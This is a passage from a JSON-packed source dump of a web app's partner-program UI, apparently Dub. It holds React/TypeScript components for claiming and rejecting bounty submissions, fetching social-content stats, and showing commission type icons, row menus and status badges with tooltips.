{bounty.submissionRequirements.url.domains.join(\", \")}\n            </p>\n          )}\n      </div>\n    </div>\n  );\n}\n\nfunction DescriptionField() {\n  const { watch, setValue } = useClaimBountyForm();\n  const description = watch(\"description\") ?? \"\";\n\n  return (\n    <div>\n      <Label htmlFor=\"bounty-submission-description\">\n        Provide any additional details (optional)\n      </Label>\n      <ReactTextareaAutosize\n        id=\"bounty-submission-description\"\n        className={cn(\n          \"mt-2 block w-full resize-none rounded-md focus:outline-none sm:text-sm\",\n          \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n        )}\n        minRows={3}\n        maxLength={BOUNTY_MAX_SUBMISSION_DESCRIPTION_LENGTH}\n        value={description}\n        onChange={(e) => {\n          const value = e.target.value;\n          if (value.length <= BOUNTY_MAX_SUBMISSION_DESCRIPTION_LENGTH) {\n            setValue(\"description\", value);\n          }\n        }}\n      />\n      <div className=\"mt-1 text-left\">\n        <span className=\"text-xs text-neutral-500\">\n          {description.length} / {BOUNTY_MAX_SUBMISSION_DESCRIPTION_LENGTH}\n        </span>\n      </div>\n    </div>\n  );\n}\n\ninterface ClaimBountySheetProps {\n  bounty: PartnerBountyProps;\n  isOpen: boolean;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  periodNumber?: number;\n}\n\nfunction ClaimBountySheetContent({\n  bounty,\n  setIsOpen,\n  isOpen,\n  periodNumber,\n}: ClaimBountySheetProps) {\n  const effectivePeriodNumber = periodNumber ?? 1;\n  const submission =\n    bounty.submissions?.find((s) => s.periodNumber === effectivePeriodNumber) ??\n    null;\n  const { programEnrollment } = useProgramEnrollment();\n  const {\n    socialContentVerifying,\n    socialContentRequirementsMet,\n    setSocialContentVerifying,\n    setSocialContentRequirementsMet,\n  } = useClaimBountyContext();\n\n  const [isDraft, setIsDraft] = useState<boolean | null>(null);\n  const [fileUploading, setFileUploading] = useState(false);\n\n  const bountyInfo = resolveBountyDetails(bounty);\n  const socialPlatform = bountyInfo?.socialPlatform;\n  const isSocialMetricsBounty = bountyInfo?.hasSocialMetrics ?? false;\n\n  const initialUrls = (() => {\n    if (submission?.urls && submission.urls.length > 0) {\n      return socialPlatform\n        ? [submission.urls[0] ?? \"\", ...submission.urls.slice(1)]\n        : [...submission.urls];\n    }\n    return [\"\"];\n  })();\n\n  const claimForm = useForm<CreateBountySubmissionInput>({\n    defaultValues: {\n      urls: initialUrls,\n      description: submission?.description ?? \"\",\n      files:\n        submission?.files?.map((f) => ({\n          url: f.url,\n          fileName: f.fileName ?? \"File\",\n          size: f.size ?? 0,\n        })) ?? [],\n    },\n  });\n\n  const [files, setFiles] = useState<FileInput[]>(() =>\n    (submission?.files ?? []).map((f) => ({\n      id: uuid(),\n      url: f.url,\n      uploading: false,\n      file: undefined,\n    })),\n  );\n\n  const bountyRef = useRef(bounty);\n  bountyRef.current = bounty;\n\n  useEffect(() => {\n    if (!isOpen) return;\n\n    const b = bountyRef.current;\n    const ep = periodNumber ?? 1;\n    const sub = b.submissions?.find((s) => s.periodNumber === ep) ?? null;\n    const sp = resolveBountyDetails(b)?.socialPlatform;\n\n    const urls = sub?.urls?.length\n      ? sp\n        ? [sub.urls[0] ?? \"\", ...sub.urls.slice(1)]\n        : [...sub.urls]\n      : [\"\"];\n\n    const formFiles =\n      sub?.files?.map((f) => ({\n        url: f.url,\n        fileName: f.fileName ?? \"File\",\n        size: f.size ?? 0,\n      })) ?? [];\n\n    claimForm.reset({\n      urls,\n      description: sub?.description ?? \"\",\n      files: formFiles,\n    });\n\n    setFiles(\n      formFiles.map((f) => ({\n        id: uuid(),\n        url: f.url,\n        uploading: false,\n        file: undefined,\n      })),\n    );\n\n    setSocialContentVerifying(false);\n    setSocialContentRequirementsMet(true);\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [isOpen, periodNumber]);\n\n  const { executeAsync: createSubmission } = useAction(\n    createBountySubmissionAction,\n    {\n      onSuccess: async ({ input }) => {\n        const isDraftSave = !!input?.isDraft;\n        toast.success(\n          isDraftSave ? \"Bounty progress saved.\" : \"Bounty submitted.\",\n        );\n        await mutatePrefix(\n          `/api/partner-profile/programs/${programEnrollment?.program.slug}/bounties`,\n        );\n        setIsDraft(null);\n        if (!isDraftSave) {\n          setIsOpen(false);\n        }\n      },\n      onError: ({ error }) => {\n        toast.error(\n          error.serverError || \"Failed to create submission. Please try again.\",\n        );\n        setIsDraft(null);\n      },\n    },\n  );\n\n  const imageRequired = !!bounty.submissionRequirements?.image;\n  const urlRequired = !!bounty.submissionRequirements?.url;\n\n  const { confirmModal, setShowConfirmModal } = useConfirmModal({\n    title: \"Confirm submission\",\n    description: (\n      <div className=\"space-y-2\">\n        <p>\n          Are you sure you want to submit this bounty? Once submitted, you won't\n          be able to make any further changes.\n        </p>\n        {!isSocialMetricsBounty && (\n          <p>\n            If you need to make changes later, you can save your progress as a\n            draft instead.\n          </p>\n        )}\n      </div>\n    ),\n    confirmText: \"Confirm submission\",\n    onConfirm: () => handleSubmission({ isDraft: false }),\n  });\n\n  const handleSubmission = async ({ isDraft }: { isDraft: boolean }) => {\n    if (!programEnrollment) {\n      return;\n    }\n\n    setIsDraft(isDraft);\n\n    const finalFiles = claimForm.getValues(\"files\") ?? [];\n    const formUrls = (claimForm.getValues(\"urls\") ?? []).filter(Boolean);\n    const description = claimForm.getValues(\"description\") ?? \"\";\n\n    try {\n      if (!isDraft) {\n        setShowConfirmModal(false);\n\n        if (imageRequired && finalFiles.length === 0) {\n          throw new Error(\"You must upload at least one image.\");\n        }\n\n        if (socialPlatform && !formUrls[0]?.trim()) {\n          throw new Error(`You must provide the ${socialPlatform.label} link.`);\n        }\n\n        if (urlRequired && formUrls.length === 0) {\n          throw new Error(\"You must provide at least one URL.\");\n        }\n      }\n\n      await createSubmission({\n        programId: programEnrollment.programId,\n        bountyId: bounty.id,\n        files: finalFiles,\n        urls: formUrls,\n        description,\n        periodNumber: effectivePeriodNumber,\n        ...(isDraft && { isDraft }),\n      });\n    } catch (error) {\n      toast.error(\n        error.message || \"Failed to create submission. Please try again.\",\n      );\n      setIsDraft(null);\n    }\n  };\n\n  const submissionsOpenAt = bounty.submissionsOpenAt\n    ? new Date(bounty.submissionsOpenAt)\n    : null;\n\n  const submissionsNotOpenYet =\n    submissionsOpenAt !== null && submissionsOpenAt > new Date();\n\n  const formattedSubmissionsOpenAt =\n    submissionsOpenAt && new Date() < submissionsOpenAt\n      ? `${submissionsOpenAt.toLocaleDateString(\"en-US\", {\n          month: \"short\",\n          day: \"numeric\",\n          year: \"numeric\",\n        })} at ${submissionsOpenAt.toLocaleTimeString(\"en-US\", { hour: \"numeric\", hour12: true })}`\n      : null;\n\n  const isBusy =\n    fileUploading ||\n    isDraft === false ||\n    socialContentVerifying ||\n    (!!socialPlatform && !socialContentRequirementsMet);\n\n  const isDisabled = submissionsNotOpenYet || isBusy;\n\n  return (\n    <>\n      {confirmModal}\n      <div className=\"relative flex size-full flex-col\">\n        {/* Sticky header */}\n        <div className=\"sticky top-0 z-10 flex shrink-0 items-center justify-between border-b border-neutral-200 bg-white px-5 py-4\">\n          <Sheet.Title className=\"text-base font-semibold text-neutral-900\">\n            {bounty.maxSubmissions > 1\n              ? `Submission (${getPeriodLabel(bounty.submissionFrequency, effectivePeriodNumber - 1)})`\n              : \"Submission\"}\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n\n        <FormProvider {...claimForm}>\n          <form\n            className=\"flex min-h-0 flex-1 flex-col\"\n            onSubmit={async (e) => {\n              e.preventDefault();\n              if (!programEnrollment) return;\n\n              const submitter = (e.nativeEvent as SubmitEvent)\n                .submitter as HTMLButtonElement;\n\n              const isDraftSubmit =\n                submitter?.name === \"draft\" && !isSocialMetricsBounty;\n\n              if (isDraftSubmit) {\n                await handleSubmission({ isDraft: true });\n              } else {\n                setShowConfirmModal(true);\n              }\n            }}\n          >\n            <div className=\"scrollbar-hide min-h-0 flex-1 overflow-y-auto\">\n              {formattedSubmissionsOpenAt && (\n                <div className=\"p-5 pb-0\">\n                  <div className=\"rounded-lg bg-orange-50 p-2 text-center text-sm font-medium text-orange-800\">\n                    Submissions open {formattedSubmissionsOpenAt}\n                  </div>\n                </div>\n              )}\n\n              <div className=\"flex flex-col gap-5 p-5\">\n                {imageRequired && (\n                  <ImagesField\n                    bounty={bounty}\n                    onUploadingChange={setFileUploading}\n                    files={files}\n                    setFiles={setFiles}\n                  />\n                )}\n                {urlRequired && <UrlsField bounty={bounty} />}\n                {socialPlatform && <SocialContentUrlField bounty={bounty} />}\n                <DescriptionField />\n              </div>\n            </div>\n\n            <div className=\"flex shrink-0 items-center justify-between gap-2 border-t border-neutral-200 bg-white p-4\">\n              <Button\n                variant=\"outline\"\n                text=\"Cancel\"\n                className=\"h-10 w-fit rounded-lg\"\n                type=\"button\"\n                onClick={() => setIsOpen(false)}\n              />\n\n              <div className=\"flex items-center gap-2\">\n                {!isSocialMetricsBounty && (\n                  <Button\n                    variant=\"secondary\"\n                    text=\"Save progress\"\n                    className=\"h-10 w-fit rounded-lg\"\n                    type=\"submit\"\n                    name=\"draft\"\n                    loading={isDraft === true}\n                    disabled={isDisabled}\n                  />\n                )}\n\n                <Button\n                  variant=\"primary\"\n                  text=\"Submit\"\n                  className=\"h-10 w-fit rounded-lg\"\n                  type=\"submit\"\n                  name=\"submit\"\n                  loading={isDraft === false}\n                  disabled={isDisabled}\n                />\n              </div>\n            </div>\n          </form>\n        </FormProvider>\n      </div>\n    </>\n  );\n}\n\nexport function ClaimBountySheet({\n  bounty,\n  isOpen,\n  setIsOpen,\n  periodNumber,\n}: ClaimBountySheetProps) {\n  return (\n    <Sheet open={isOpen} onOpenChange={setIsOpen}>\n      <ClaimBountyProvider>\n        <ClaimBountySheetContent\n          bounty={bounty}\n          isOpen={isOpen}\n          setIsOpen={setIsOpen}\n          periodNumber={periodNumber}\n        />\n      </ClaimBountyProvider>\n    </Sheet>\n  );\n}\n\nexport function useClaimBountySheet(\n  props: Omit<ClaimBountySheetProps, \"isOpen\" | \"setIsOpen\" | \"periodNumber\">,\n) {\n  const [isOpen, setIsOpen] = useState(false);\n  const [activePeriodNumber, setActivePeriodNumber] = useState<\n    number | undefined\n  >();\n\n  return {\n    claimBountySheet: (\n      <ClaimBountySheet\n        {...props}\n        isOpen={isOpen}\n        setIsOpen={setIsOpen}\n        periodNumber={activePeriodNumber}\n      />\n    ),\n    setShowClaimBountySheet: setIsOpen,\n    setActivePeriodNumber,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/reject-bounty-submission-modal.tsx",
    "content": "import { rejectBountySubmissionAction } from \"@/lib/actions/partners/reject-bounty-submission\";\nimport {\n  BOUNTY_MAX_SUBMISSION_REJECTION_NOTE_LENGTH,\n  REJECT_BOUNTY_SUBMISSION_REASONS,\n} from \"@/lib/bounty/constants\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useBounty from \"@/lib/swr/use-bounty\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountySubmissionProps } from \"@/lib/types\";\nimport { rejectBountySubmissionBodySchema } from \"@/lib/zod/schemas/bounties\";\nimport { Button, Modal, useKeyboardShortcut } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ninterface RejectBountySubmissionModalProps {\n  submission: BountySubmissionProps;\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  onReject?: () => void;\n}\n\nconst RejectBountySubmissionModal = ({\n  submission,\n  showModal,\n  setShowModal,\n  onReject,\n}: RejectBountySubmissionModalProps) => {\n  const { bounty } = useBounty();\n  const workspace = useWorkspace();\n\n  const {\n    register,\n    watch,\n    getValues,\n    formState: { errors },\n  } = useForm<z.infer<typeof rejectBountySubmissionBodySchema>>({\n    defaultValues: {\n      rejectionReason: undefined,\n      rejectionNote: \"\",\n    },\n  });\n\n  const { executeAsync: rejectBountySubmission, isPending } = useAction(\n    rejectBountySubmissionAction,\n    {\n      onSuccess: () => {\n        toast.success(\"Bounty submission rejected successfully!\");\n        setShowModal(false);\n        onReject ? onReject() : null;\n        mutatePrefix(`/api/bounties/${bounty?.id}/submissions`);\n      },\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const handleReject = useCallback(async () => {\n    if (!workspace.id || !submission?.id) {\n      return;\n    }\n\n    const formData = getValues();\n\n    await rejectBountySubmission({\n      ...formData,\n      rejectionReason: formData.rejectionReason,\n      workspaceId: workspace.id,\n      submissionId: submission.id,\n    });\n  }, [workspace.id, submission?.id, getValues, rejectBountySubmission]);\n\n  // Handle keyboard shortcut for Reject button\n  useKeyboardShortcut(\"r\", handleReject, {\n    enabled: showModal,\n    sheet: true,\n    modal: true,\n  });\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"truncate text-lg font-medium\">Reject bounty</h3>\n      </div>\n\n      <div className=\"bg-neutral-50\">\n        <div className=\"flex flex-col gap-6 px-4 py-6 sm:px-6\">\n          <div>\n            <label\n              htmlFor=\"rejectionReason\"\n              className=\"text-content-emphasis text-sm font-medium\"\n            >\n              Rejection reason\n              <span className=\"ml-1 font-normal text-neutral-500\">\n                (optional)\n              </span>\n            </label>\n            <div className=\"relative mt-2 rounded-md shadow-sm\">\n              <select\n                id=\"rejectionReason\"\n                {...register(\"rejectionReason\")}\n                disabled={isPending}\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.rejectionReason &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n              >\n                <option value=\"\">Select a reason</option>\n                {Object.entries(REJECT_BOUNTY_SUBMISSION_REASONS).map(\n                  ([value, label]) => (\n                    <option key={value} value={value}>\n                      {label}\n                    </option>\n                  ),\n                )}\n              </select>\n            </div>\n          </div>\n\n          <div>\n            <div className=\"flex items-center justify-between\">\n              <label\n                htmlFor=\"rejectionNote\"\n                className=\"text-content-emphasis text-sm font-medium\"\n              >\n                Additional details\n                <span className=\"ml-1 font-normal text-neutral-500\">\n                  (optional)\n                </span>\n              </label>\n              <span className=\"text-xs text-neutral-400\">\n                {watch(\"rejectionNote\")?.length || 0}/\n                {BOUNTY_MAX_SUBMISSION_REJECTION_NOTE_LENGTH}\n              </span>\n            </div>\n            <div className=\"mt-2\">\n              <textarea\n                id=\"rejectionNote\"\n                {...register(\"rejectionNote\", {\n                  maxLength: BOUNTY_MAX_SUBMISSION_REJECTION_NOTE_LENGTH,\n                  setValueAs: (value) => (value === \"\" ? undefined : value),\n                })}\n                rows={3}\n                maxLength={BOUNTY_MAX_SUBMISSION_REJECTION_NOTE_LENGTH}\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  errors.rejectionNote &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                placeholder=\"Provide additional context for the rejection...\"\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex justify-end gap-2 border-t border-neutral-200 px-4 py-4 sm:px-6\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-9 w-fit\"\n            onClick={() => setShowModal(false)}\n            disabled={isPending}\n          />\n          <Button\n            type=\"button\"\n            text=\"Reject\"\n            variant=\"danger\"\n            shortcut=\"R\"\n            className=\"h-9 w-fit\"\n            loading={isPending}\n            onClick={handleReject}\n          />\n        </div>\n      </div>\n    </Modal>\n  );\n};\n\nexport function useRejectBountySubmissionModal(\n  submission: BountySubmissionProps,\n  onReject?: () => void,\n) {\n  const [showRejectModal, setShowRejectModal] = useState(false);\n\n  const RejectBountySubmissionModalCallback = useCallback(() => {\n    return (\n      <RejectBountySubmissionModal\n        showModal={showRejectModal}\n        setShowModal={setShowRejectModal}\n        submission={submission}\n        onReject={onReject}\n      />\n    );\n  }, [showRejectModal, setShowRejectModal, onReject, submission]);\n\n  return useMemo(\n    () => ({\n      setShowRejectModal,\n      RejectBountySubmissionModal: RejectBountySubmissionModalCallback,\n    }),\n    [setShowRejectModal, RejectBountySubmissionModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/use-claim-bounty-form.ts",
    "content": "\"use client\";\n\nimport { createBountySubmissionInputSchema } from \"@/lib/zod/schemas/bounties\";\nimport { useFormContext } from \"react-hook-form\";\nimport * as z from \"zod/v4\";\nimport { useClaimBountyContext } from \"./claim-bounty-context\";\n\nexport type CreateBountySubmissionInput = z.infer<\n  typeof createBountySubmissionInputSchema\n>;\n\nexport function useClaimBountyForm() {\n  const form = useFormContext<CreateBountySubmissionInput>();\n  const claim = useClaimBountyContext();\n\n  return {\n    ...form,\n    ...claim,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/use-social-content.ts",
    "content": "import { SocialContent } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\n\ninterface UseSocialContentParams {\n  bountyId: string;\n  url: string;\n}\n\nexport function useSocialContent({ bountyId, url }: UseSocialContentParams) {\n  const { programSlug } = useParams<{ programSlug?: string }>();\n\n  const searchParams = new URLSearchParams({ url });\n\n  const { data, error, isValidating, mutate } = useSWR<SocialContent>(\n    programSlug && bountyId && url\n      ? `/api/partner-profile/programs/${programSlug}/bounties/${bountyId}/social-content-stats?${searchParams.toString()}`\n      : null,\n    fetcher,\n    {\n      revalidateOnFocus: false,\n    },\n  );\n\n  return {\n    data: data ?? null,\n    error,\n    isValidating,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/partners/comission-type-icon.tsx",
    "content": "import { PartnerEarningsSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport {\n  CursorRays,\n  InvoiceDollar,\n  MoneyBills2,\n  UserCheck,\n} from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\nconst ICONS_MAP = {\n  click: { icon: CursorRays, className: \"text-blue-500\" },\n  lead: { icon: UserCheck, className: \"text-purple-500\" },\n  sale: { icon: InvoiceDollar, className: \"text-teal-500\" },\n  custom: { icon: MoneyBills2, className: \"text-gray-500\" },\n};\n\nexport const CommissionTypeIcon = ({\n  type,\n  className,\n}: {\n  type: z.infer<typeof PartnerEarningsSchema>[\"type\"];\n  className?: string;\n}) => {\n  if (!type) return null;\n\n  const { icon: Icon, className: iconClassName } = ICONS_MAP[type];\n\n  return <Icon className={cn(\"size-4\", iconClassName, className)} />;\n};\n"
  },
  {
    "path": "apps/web/ui/partners/commission-row-menu.tsx",
    "content": "import { CommissionResponse } from \"@/lib/types\";\nimport { Button, Icon, Popover, useCopyToClipboard } from \"@dub/ui\";\nimport {\n  CircleCheck,\n  CircleXmark,\n  Dots,\n  Duplicate,\n  InvoiceDollar,\n  ShieldAlert,\n} from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { useMarkCommissionDuplicateModal } from \"./mark-commission-duplicate-modal\";\nimport { useMarkCommissionFraudOrCanceledModal } from \"./mark-commission-fraud-or-canceled-modal\";\n\nexport function CommissionRowMenu({ row }: { row: Row<CommissionResponse> }) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  const {\n    setShowModal: setShowMarkCommissionDuplicateModal,\n    MarkCommissionDuplicateModal,\n  } = useMarkCommissionDuplicateModal({\n    commission: row.original,\n  });\n\n  const [commissionStatus, setCommissionStatus] = useState<\n    \"fraud\" | \"canceled\"\n  >(\"fraud\");\n\n  const { setShowModal, MarkCommissionFraudOrCanceledModal } =\n    useMarkCommissionFraudOrCanceledModal({\n      commission: row.original,\n      status: commissionStatus,\n    });\n\n  const [copiedInvoiceId, copyInvoiceIdToClipboard] = useCopyToClipboard();\n\n  const showUpdateActions =\n    row.original.status === \"pending\" || row.original.status === \"processed\";\n\n  if (!showUpdateActions && !row.original.invoiceId) {\n    return null;\n  }\n\n  return (\n    <>\n      <MarkCommissionDuplicateModal />\n      <MarkCommissionFraudOrCanceledModal />\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"pointer-events-auto\">\n            <Command.List className=\"flex w-screen flex-col gap-1 text-sm focus-visible:outline-none sm:w-auto sm:min-w-[180px]\">\n              {showUpdateActions && (\n                <Command.Group className=\"p-1.5\">\n                  <MenuItem\n                    icon={Duplicate}\n                    label=\"Mark as duplicate\"\n                    onSelect={() => {\n                      setShowMarkCommissionDuplicateModal(true);\n                      setIsOpen(false);\n                    }}\n                  />\n\n                  <MenuItem\n                    icon={ShieldAlert}\n                    label=\"Mark as fraud\"\n                    onSelect={() => {\n                      setCommissionStatus(\"fraud\");\n                      setShowModal(true);\n                      setIsOpen(false);\n                    }}\n                  />\n\n                  <MenuItem\n                    icon={CircleXmark}\n                    label=\"Mark as canceled\"\n                    onSelect={() => {\n                      setCommissionStatus(\"canceled\");\n                      setShowModal(true);\n                      setIsOpen(false);\n                    }}\n                  />\n                </Command.Group>\n              )}\n              {row.original.invoiceId && (\n                <>\n                  <Command.Separator className=\"w-full border-t border-neutral-200\" />\n                  <Command.Group className=\"p-1.5\">\n                    <MenuItem\n                      icon={copiedInvoiceId ? CircleCheck : InvoiceDollar}\n                      label=\"Copy invoice ID\"\n                      onSelect={() => {\n                        copyInvoiceIdToClipboard(row.original.invoiceId!);\n                        toast.success(\"Invoice ID copied to clipboard\");\n                      }}\n                    />\n                  </Command.Group>\n                </>\n              )}\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"size-8 shrink-0 whitespace-nowrap rounded-lg p-0\"\n          variant=\"outline\"\n          icon={<Dots className=\"h-4 w-4 shrink-0\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n\nfunction MenuItem({\n  icon: IconComp,\n  label,\n  onSelect,\n  disabled,\n}: {\n  icon: Icon;\n  label: string;\n  onSelect: () => void;\n  disabled?: boolean;\n}) {\n  return (\n    <Command.Item\n      className={cn(\n        \"flex cursor-pointer select-none items-center gap-2 whitespace-nowrap rounded-md p-2 text-sm text-neutral-600\",\n        \"data-[selected=true]:bg-neutral-100\",\n        disabled && \"cursor-not-allowed opacity-50\",\n      )}\n      onSelect={onSelect}\n      disabled={disabled}\n    >\n      <IconComp className=\"size-4 shrink-0 text-neutral-500\" />\n      {label}\n    </Command.Item>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/commission-status-badges.tsx",
    "content": "import { PartnerProps } from \"@/lib/types\";\nimport { Commission, PartnerGroup, Program } from \"@dub/prisma/client\";\nimport {\n  CircleCheck,\n  CircleHalfDottedClock,\n  CircleXmark,\n  Duplicate,\n  ShieldAlert,\n} from \"@dub/ui/icons\";\nimport {\n  APP_DOMAIN,\n  currencyFormatter,\n  formatDateTimeSmart,\n  PARTNERS_DOMAIN,\n} from \"@dub/utils\";\nimport { addDays } from \"date-fns\";\n\ninterface CommissionTooltipDataProps {\n  program?: Pick<Program, \"name\" | \"slug\" | \"minPayoutAmount\">;\n  group?: Pick<PartnerGroup, \"holdingPeriodDays\"> & { slug?: string };\n  workspace?: {\n    slug?: string;\n  };\n  commission: Pick<Commission, \"createdAt\">;\n  variant: \"partner\" | \"workspace\";\n  partner?: Pick<PartnerProps, \"id\">;\n}\n\nexport const CommissionStatusBadges = {\n  pending: {\n    label: \"Pending\",\n    variant: \"pending\",\n    className: \"text-orange-600 bg-orange-100\",\n    icon: CircleHalfDottedClock,\n    tooltip: (data: CommissionTooltipDataProps) =>\n      data.variant === \"partner\"\n        ? `This commission is pending and will be eligible for payout ${data.group?.holdingPeriodDays ? `on \\`${formatDateTimeSmart(addDays(data.commission.createdAt, data.group.holdingPeriodDays))}\\` (after the program's [${data.group.holdingPeriodDays}-day holding period](https://dub.co/help/article/commissions-payouts#what-does-holding-period-mean))` : \"shortly\"}.`\n        : `This commission is pending and will be eligible for payout ${data.group?.holdingPeriodDays ? `on \\`${formatDateTimeSmart(addDays(data.commission.createdAt, data.group.holdingPeriodDays))}\\` (after the [payout holding period](https://dub.co/help/article/partner-payouts#payout-holding-period) for this [partner's group](${APP_DOMAIN}/${data.workspace?.slug}/program/groups/${data.group.slug || \"default\"}/settings))` : \"shortly\"}.`,\n  },\n  processed: {\n    label: \"Processed\",\n    variant: \"new\",\n    className: \"text-blue-600 bg-blue-100\",\n    icon: CircleHalfDottedClock,\n    tooltip: (data: CommissionTooltipDataProps) => {\n      const title = `This commission has been processed and ${data.variant === \"partner\" && data.program?.minPayoutAmount ? `will be paid out once your payout total reaches the program's minimum payout amount of ${currencyFormatter(data.program?.minPayoutAmount)}` : \"is now eligible for payout\"}.`;\n      const cta =\n        data.variant === \"partner\" ? \"Learn more.\" : \"View pending payouts.\";\n      const href =\n        data.variant === \"partner\"\n          ? \"https://dub.co/help/article/commissions-payouts\"\n          : `/${data.workspace?.slug}/program/payouts?status=pending`;\n      return `${title} [${cta}](${href})`;\n    },\n  },\n  paid: {\n    label: \"Paid\",\n    variant: \"success\",\n    className: \"text-green-600 bg-green-100\",\n    icon: CircleCheck,\n    tooltip: (_: CommissionTooltipDataProps) => null,\n  },\n  fraud: {\n    label: \"Fraud\",\n    variant: \"error\",\n    className: \"text-red-600 bg-red-100\",\n    icon: ShieldAlert,\n    tooltip: (data: CommissionTooltipDataProps) => {\n      const title = `This commission was flagged as fraudulent.${data.variant === \"partner\" ? \" If you believe this is incorrect, \" : \"\"}`;\n      if (\n        data.variant === \"partner\" &&\n        data.program?.name &&\n        data.program?.slug\n      ) {\n        return `${title}[reach out to the ${data.program.name} team](${PARTNERS_DOMAIN}/messages/${data.program.slug})`;\n      }\n      return title;\n    },\n  },\n  duplicate: {\n    label: \"Duplicate\",\n    variant: \"error\",\n    className: \"text-red-600 bg-red-100\",\n    icon: Duplicate,\n    tooltip: (data: CommissionTooltipDataProps) => {\n      const title = `This commission was flagged as duplicate.${data.variant === \"partner\" ? \" If you believe this is incorrect, \" : \"\"}`;\n      if (\n        data.variant === \"partner\" &&\n        data.program?.name &&\n        data.program?.slug\n      ) {\n        return `${title}[reach out to the ${data.program.name} team](${PARTNERS_DOMAIN}/messages/${data.program.slug})`;\n      }\n      return title;\n    },\n  },\n  refunded: {\n    label: \"Refunded\",\n    variant: \"error\",\n    className: \"text-red-600 bg-red-100\",\n    icon: CircleXmark,\n    tooltip: (data: CommissionTooltipDataProps) => {\n      const title = `This commission was refunded.${data.variant === \"partner\" ? \" If you believe this is incorrect, \" : \"\"}`;\n      if (\n        data.variant === \"partner\" &&\n        data.program?.name &&\n        data.program?.slug\n      ) {\n        return `${title}[reach out to the ${data.program.name} team](${PARTNERS_DOMAIN}/messages/${data.program.slug})`;\n      }\n      return title;\n    },\n  },\n  canceled: {\n    label: \"Canceled\",\n    variant: \"neutral\",\n    className: \"text-gray-600 bg-gray-100\",\n    icon: CircleXmark,\n    tooltip: (data: CommissionTooltipDataProps) => {\n      const title = `This commission was canceled.${data.variant === \"partner\" ? \" If you believe this is incorrect, \" : \"\"}`;\n      if (\n        data.variant === \"partner\" &&\n        data.program?.name &&\n        data.program?.slug\n      ) {\n        return `${title}[reach out to the ${data.program.name} team](${PARTNERS_DOMAIN}/messages/${data.program.slug})`;\n      }\n      return title;\n    },\n  },\n  // extra status for hold (not in OpenAPI spec)\n  hold: {\n    label: \"On Hold\",\n    variant: \"error\",\n    className: \"text-red-600 bg-red-100\",\n    icon: ShieldAlert,\n    tooltip: (data: CommissionTooltipDataProps) => {\n      if (data.variant === \"partner\") {\n        const title =\n          \"This commission is on hold due to pending fraud events and cannot be paid out until they are resolved.\";\n\n        if (data.program?.name && data.program?.slug) {\n          return `${title} If you believe this is incorrect, [reach out to the ${data.program.name} team](${PARTNERS_DOMAIN}/messages/${data.program.slug}).`;\n        }\n\n        return title;\n      }\n\n      const linkToFraudEvents = data.partner?.id\n        ? `/${data.workspace?.slug}/program/fraud?partnerId=${data.partner.id}`\n        : `/${data.workspace?.slug}/program/fraud`;\n\n      return `This partner's commissions are on hold due to [unresolved fraud events](${linkToFraudEvents}). They cannot be paid out until resolved.`;\n    },\n  },\n};\n"
  },
  {
    "path": "apps/web/ui/partners/commission-type-badge.tsx",
    "content": "import { PartnerEarningsSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { capitalize } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { CommissionTypeIcon } from \"./comission-type-icon\";\n\nexport const CommissionTypeBadge = ({\n  type,\n}: {\n  type: z.infer<typeof PartnerEarningsSchema>[\"type\"];\n}) => {\n  return (\n    <div className=\"flex items-center gap-1.5\">\n      <CommissionTypeIcon type={type} />\n      {capitalize(type)}\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/partners/confirm-payouts-sheet.tsx",
